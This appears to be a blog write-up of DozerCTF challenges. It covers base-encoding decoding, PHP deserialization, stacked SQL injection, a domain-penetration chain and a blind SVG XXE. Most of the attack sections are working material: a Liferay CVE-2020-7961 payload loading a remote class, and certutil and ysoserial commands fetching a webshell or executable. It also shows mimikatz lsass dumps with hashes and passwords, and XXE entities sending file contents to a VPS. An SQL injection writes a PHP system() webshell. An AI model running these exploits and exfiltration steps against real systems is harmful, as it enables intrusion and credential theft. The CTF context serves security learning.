本文首发于Leon的Blog,如需转载请注明原地址并联系作者
真·签到
下载下来是一个exe,打不开,拖进winhex发现:
R00yVE1NWlRIRTJFRU5CWUdVM1RNUlJURzRaVEtOUllHNFpUTU9CV0lJM0RRTlJXRzQ0VE9OSlhHWTJET05aUkc1QVRPTUJUR0kyRUVNWlZHNDNUS05aWEc0MlRHTkpaR1pBVElNUldHNDNUT05KVUc0M0RPTUJXR0kyRUtOU0ZHTTRUT09CVUc0M0VFPT09Cgo=
base64解码后:
GM2TMMZTHE2EENBYGU3TMRRTG4ZTKNRYG4ZTMOBWII3DQNRWG44TONJXGY2DONZRG5ATOMBTGI2EEMZVG43TKNZXG42TGNJZGZATIMRWG43TONJUG43DOMBWGI2EKNSFGM4TOOBUG43EE===
只有大写字母和数字应该是base32,解码后:
3563394B48576F37356873686B686679757647717A70324B3577577753596A426777547670624E6E3978476B
一般base32完是十六进制:
5c9KHWo75hshkhfyuvGqzp2K5wWwSYjBgwTvpbNn9xGk
由于Base58采用的字符集合为“123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ”,从这不难看出,Base58是纯数字与字母组成而且去掉了容易引起视觉混淆的字符(0:数字零,O:大写O,I:大写i,l:小写L)。9个数字+49个字母=58个。
所以猜测是base58:
Dozerctf{base_family_is_so_good}
白给的反序列化
入门反序列化题
源码:
<?php
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
if ($_GET['path']) {
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);
}
?>
poc:
<?php
//poc
class home
{
private $method;
private $args;
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}
return $str;
}
function __wakeup()
{
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;
if ($num > 2) {
die("No");
}
}
}
}
$poc = new home("mysys",array("flag.php"));
$a = urlencode(serialize($poc));
print_r($a);
serialize($a);
?>
payload:
?path=O%3A4%3A%22home%22%3A2%3A%7Bs%3A12%3A%22%00home%00method%22%3Bs%3A5%3A%22mysys%22%3Bs%3A10%3A%22%00home%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22flag.php%22%3B%7D%7D
得到:PD9waHAgJGZsYWcgPSAnZmxhZ3tqNG5jOTIwZm04YjJ6MHIybWM3ZHNmODdzNjc4NWE2NzVzYTc3NnZkfSc7Pz4=
base64:<?php $flag = 'flag{j4nc920fm8b2z0r2mc7dsf87s6785a675sa776vd}';?>
sqli-labs 0
根据hint将接下来sql注入的语句全部用url二次编码就行
id=1' # 单引号注入,select被过滤,根据经验直接堆叠
1';show databases;#
1';show tables;#
1';show columns from
uziuzi;#
1';handler uziuzi open;handler uziuzi read first;#
回显得到flagflag{594cb6af684ad354b4a59ac496473990}
简单域渗透-flag1
利用CVE-2020-7961命令执行
参考:Liferay Portal Json Web Service 反序列化漏洞(CVE-2020-7961)
CVE-2020-7961 Liferay Portal 反序列化RCE分析
漏洞说明
这题入门漏洞很容易找到,而且网上复现的文章挺多
该洞是个反序列化导致的rce,通过未授权访问其api传递json数据进行反序列化达到加载外部恶意class进而命令执行
影响范围
Liferay Portal 6.1.X
Liferay Portal 6.2.X
Liferay Portal 7.0.X
Liferay Portal 7.1.X
Liferay Portal 7.2.X
环境搭建
liferay-portal下载带tomcat的集成版,进入到liferay-ce-portal-7.2.0-ga1 omcat-9.0.17in
目录,执行:.catalina.bat run
等待一会就启动了,访问8080端口即可
漏洞复现
LifExp.java文件:
public class LifExp {
static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().
exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
- 将LifExp.java放在vps上,因为需要靶机能访问到,使用
javac LifExp.java
生成LifExp.class
- 要构造payload还需要一个包:marshalsec-0.0.3-SNAPSHOT-all.jar
我放到蓝奏云上了,有需要自行下载 - 使用
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp
生成序列化内容(这里的ip是你提供恶意class的vps)
- 在vps上使用
python3 -m http.server 8500
在当前目录启动端口8500的web服务 - 用bp发包:
POST /api/jsonws/invoke HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1349
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData%3Acom.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740019687474703a2f2f35392e3131302e3135372e343a383530302f740003466f6f;"}
- 将
WrapperConnectionPoolDataSource=
后面的内容换成marshalsec
生成的序列化内容
成功弹出计算器,(计算器也很无奈)
利用certutil进行远程下载webshell
- certutil和bitsadmin都可以进行远程http请求,本地用:
certutil.exe -urlcache -split -f "http://ip:8500/leon.txt“ leon.txt
bitsadmin /rawreturn /transfer down 'http://ip:8500/leon.txt' D:leon.txt
都可以成功远程下载文件
- 在
LifExp.java
中需要构造一下:
String[] cmd = {"cmd.exe", "/c", "certutil.exe -urlcache -split -f", "http://ip:8500/cmdcmd.jsp", "..\webapps\ROOT\cmdcmd.jsp"};
cmdcmd.jsp是webshell,经过本地测试执行命令的当前路径在liferay-ce-portal-7.2.0-ga1 omcat-9.0.17in
所以需要目录穿越到index.jsp的文件夹,(这里智障了,以为java不能直接访问到没有进行目录映射的jsp,就一直没写文件到这个目录)
- 然后一样的步骤,生成class文件,post包发过去,就成功在index.jsp目录写入了webshell,蚁剑直接连接即可(有些webshell蚁剑不能连)
flag在桌面C:/Users/root/Desktop/flag.txt
Dozerctf{a993e8ce377e05b2cbfa460e43e43757}
- 方便后续操作可以写个jsp反弹shell
简单域渗透-flag2
先进行简单信息收集,列出域信任关系:
nltest /domain_trusts
环境为单域,查看ip信息,一般dns服务器就是dc:
ipconfig /all
:
C:Users
oot>ipconfig /all
Windows IP ����
������ . . . . . . . . . . . . . : Dozer-dmz01
�� DNS �� . . . . . . . . . . . : dozer.org
�ڵ����� . . . . . . . . . . . . : ���
IP ·�������� . . . . . . . . . . : ��
WINS ���������� . . . . . . . . . : ��
DNS �������б� . . . . . . . . : dozer.org
��̫�������� Ethernet0:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ����������
�����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-D5
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::956d:4a99:42e5:44e6%12(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 10.10.10.2(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
Ĭ������. . . . . . . . . . . . . :
DHCPv6 IAID . . . . . . . . . . . : 251661353
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
DNS ������ . . . . . . . . . . . : 10.10.10.3
TCPIP �ϵ� NetBIOS . . . . . . . : ������
��̫�������� Ethernet1:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Intel(R) 82574L ǧ���������� #2
�����ַ. . . . . . . . . . . . . : 00-0C-29-20-FC-DF
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::d543:1779:2299:609%15(��ѡ)
IPv4 ��ַ . . . . . . . . . . . . : 192.168.150.73(��ѡ)
�������� . . . . . . . . . . . . : 255.255.255.0
�����Լ��ʱ�� . . . . . . . . . : 2020��6��14�� 23:42:47
��Լ���ڵ�ʱ�� . . . . . . . . . : 2020��6��17�� 23:42:54
Ĭ������. . . . . . . . . . . . . : 192.168.150.200
DHCP ������ . . . . . . . . . . . : 192.168.150.200
DHCPv6 IAID . . . . . . . . . . . : 352324649
DHCPv6 �ͻ��� DUID . . . . . . . : 00-01-00-01-26-49-C3-BF-00-0C-29-20-FC-D5
DNS ������ . . . . . . . . . . . : 192.168.150.200
TCPIP �ϵ� NetBIOS . . . . . . . : ������
��������� isatap.{CFE9BA1B-E288-4FFB-9749-199C2D5515CE}:
ý��״̬ . . . . . . . . . . . . : ý���ѶϿ�
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #2
�����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
��������� isatap.{2D498A64-8D75-4BA5-964D-611E32EF20B3}:
�����ض��� DNS �� . . . . . . . :
����. . . . . . . . . . . . . . . : Microsoft ISATAP Adapter #4
�����ַ. . . . . . . . . . . . . : 00-00-00-00-00-00-00-E0
DHCP ������ . . . . . . . . . . . : ��
�Զ�����������. . . . . . . . . . : ��
�������� IPv6 ��ַ. . . . . . . . : fe80::5efe:192.168.150.73%17(��ѡ)
Ĭ������. . . . . . . . . . . . . :
DNS ������ . . . . . . . . . . . : 192.168.150.200
TCPIP �ϵ� NetBIOS . . . . . . . : �ѽ���
可以看到几个两个网段,根据经验,一个192.168.150.x
应该是宿主机所在ip段,不用管,所以另外的10.10.10.x
段应该是虚拟机内部网段
10.10.10.2
是本机,所以一般DNS服务器10.10.10.3
就是DC
获取本机hash
先下载mimikatz
reg save hklmsam sam
reg save hklmsystem system
然后下载到本地使用mimikatz:
得到root也就是当前用户密码:P@ssw0rd
- 直接尝试
netstat -na
发现3389端口开启,尝试用root用户登录
首先得进行内网代理,使用reGeorg
即可
登录成功:
转储内存抓域凭证:
根据提示使用使用微软官方procdump.exe dump内存:
直接使用certutil.exe -urlcache -split -f "http://ip:8500/procdump64.exe“ procdump64.exe
即可
然后procdump64.exe -accepteula -ma lsass.exe lsass.dmp
然后执行:
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'
mimikatz # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...
Authentication Id : 0 ; 78250732 (00000000:04aa02ec)
Session : RemoteInteractive from 5
User Name : root
Domain : DOZER-DMZ01
Logon Server : DOZER-DMZ01
Logon Time : 2020/6/16 12:47:35
SID : S-1-5-21-1495210691-4001662545-2502461571-1001
msv :
[00000003] Primary
* Username : root
* Domain : DOZER-DMZ01
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
wdigest :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
kerberos :
* Username : root
* Domain : DOZER-DMZ01
* Password : P@ssw0rd
ssp :
credman :
[00000000]
* Username : dozershark
* Domain : dozer-dc.dozer.org
* Password : P@ssword
Authentication Id : 0 ; 78236002 (00000000:04a9c962)
Session : Interactive from 5
User Name : DWM-5
Domain : Window Manager
Logon Server : (null)
Logon Time : 2020/6/16 12:47:32
SID : S-1-5-90-5
msv :
[00000003] Primary
* Username : DOZER-DMZ01$
* Domain : DOZER
* NTLM : 0aede09a6722cd9c04eb892f5af27068
* SHA1 : e668a6f212e2c5c8780685436732bb3d64a4e7f0
tspkg :
* Username : DOZER-DMZ01$
* Domain : DOZER
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
wdigest :
* Username : DOZER-DMZ01$
* Domain : DOZER
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
kerberos :
* Username : DOZER-DMZ01$
* Domain : dozer.org
* Password : eJ,e!-IVYX_2h %jR+pHL(vNi4kj=PqFY ywV-KX7l=`'oL^-S'h(6q+CzlU0F=>#)+OQ-wzUsk.;ciPQVa!Gtv"]oCNt"dJba<L6D2VT.e8bhFd^O@O$+i
ssp :
credman :
Authentication Id : 0 ; 77940254 (00000000:04a5461e)
Session : Interactive from 0
User Name : shark
Domain : DOZER
Logon Server : DOZER-DC
Logon Time : 2020/6/16 12:45:28
SID : S-1-5-21-341825-3789073605-4250195040-1109
msv :
[00000003] Primary
* Username : shark
* Domain : DOZER
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : shark
* Domain : DOZER
* Password : P@ssw0rd
wdigest :
* Username : shark
* Domain : DOZER
* Password : P@ssw0rd
kerberos :
* Username : shark
* Domain : DOZER.ORG
* Password : P@ssw0rd
ssp :
credman :
发现shark
用户的密码也是P@ssw0rd
(其实可以直接操作这步拿root密码)
使用dsquery导出域信息
dsquery * /s 10.10.10.3 /u shark /p P@ssw0rd -attr * -limit 0 > leon.txt
得到:leon
根据提示搜索找到flag2:Dozerctf{3fed7db7fee7a1771b58d309bf9ca851}
简单域渗透-flag3
根据提示和拿到的域信息,找到EXCHANGE SERVERS
组:
cn: DOZER-EXCHANGE
distinguishedName: CN=DOZER-EXCHANGE,CN=Computers,DC=dozer,DC=org
instanceType: 4
whenCreated: 05/13/2020 15:06:52
whenChanged: 06/13/2020 09:49:14
displayName: DOZER-EXCHANGE$
uSNCreated: 16419
memberOf: CN=Exchange Install Domain Servers,CN=Microsoft Exchange System Objects,DC=dozer,DC=org
memberOf: CN=Managed Availability Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
memberOf: CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=dozer,DC=org
uSNChanged: 71171
name: DOZER-EXCHANGE
objectGUID: {E650C9C8-43EC-4B65-BD74-657ECD951421}
userAccountControl: 4096
得知提供EXCHANGE
邮箱服务的机器名为DOZER-EXCHANGE
- 可以使用
ping
或者nslookup
机器名得到ip:
所以定位到10.10.10.4
使用用户名dozershark
,密码P@ssw0rd
登录,拿到flag3:
Dozerctf{9b35c916c37b00f3359d49b6c9c99667}
简单域渗透-flag4
根据EXCHANGE
的漏洞,搜索找到CVE-2020-0688
参考:CVE-2020-0688 exchange远程代码执行漏洞复现
ExchangeServer漏洞CVE-2020-0688复现
简单复现
我们需要四个参数:
–validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)
–validationalg = SHA1(默认,漏洞产生原因)
–generator=B97B4E27(基本默认)
–viewstateuserkey = ASP.NET_SessionId(手工获取,变量,每次登陆都不一致)
前两个值都是默认的,我们只需要找到后两个值即可
获取viewstateuserkey
登录后访问 /ecp/default.aspx
,F12
打开开发者工具栏,打开Network
:
viewstateuserkey位于:default.aspx–>Headers–>ASP.NET_SessionId
中:
重新发送请求即可找到:
获取generator值
源码搜索__VIEWSTATEGENERATOR获取字段值:(这个值基本上也是相同的)
使用ysoserial.exe
生成序列化payload
:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "cmd.exe /c certutil.exe -urlcache -split -f http://ip/test.exe" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="247061cc-fb54-4d4e-bb66-233ffc8e3848" --isdebug -islegacy
获得shell
这里写一个msf马,因为这台机器没有杀软
payload
:
https://ip/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTAT
E=<ViewState>
将<ViewState>
替换为ysoserial.exe
生成的序列化内容并进行url编码:
即图中红框位置
访问获得shell,flag在桌面:Dozerctf{1193173239563ee49664b5e500f687ba}
简单域渗透-flag5
持续更新ing
svgggggg!
这题是一个盲打XXE
打SSRF
,关于SVG图片的漏洞可以参考:
Anatomy of Scalable Vector Graphics (SVG) Attack Surface on the Web
SVG,代表可扩展矢量图形是一种基于 XML 的矢量图像格式,用于二维图形,支持交互性和动画。SVG 图像及其行为在 XML 文本文件中定义。可以使用任何文本编辑器以及绘图软件创建和编辑它们。所有主要的现代 Web 浏览器都有 SVG 渲染支持。
简单测试了一下发现没有回显,需要外带信息
在vps上构造恶意svg和xml:
xxx.svg
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY % int SYSTEM "http://ip:8500/a.xml">
%int;
%all;
%send;
]>
<svg height="100" width="1000">
<text x="10" y="20">&send;</text>
</svg>
a.xml
:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/home/r1ck/.bash_history">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
根据提示拿到用户r1ck
的操作记录:
cd /app
php -S 0.0.0.0:8080
可以看到在8080端口有web服务,由于靶机是内网穿透出来的,所以我们不能直接访问到8080端口,只能利用xxe打ssrf
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://59.110.157.4:8500/?%file;'>">
得到:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
Hi!
You Find Me .
Flag is nearby.
<body>
</body>
</html>
Array
(
[id] => 1
[name] => test
)
发现是个sql注入,尝试注入发现列数为2,然后根据提示写shell
要进行url编码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,%27%3c?php%20system($%5fGET%5bcmd%5d)%3b?%3e%27%20into%20outfile%27/app/leon.php%27%23">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
shell语句部分也可以进行hex编码:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/?id=1%27%20union%20select%201,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e%20into%20outfile%27/app/leon.php%27%23">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
写进去后直接利用即可:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1:8080/leon.php?cmd=ls">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://ip:8500/?%file;'>">
看到flag文件直接cat拿到flag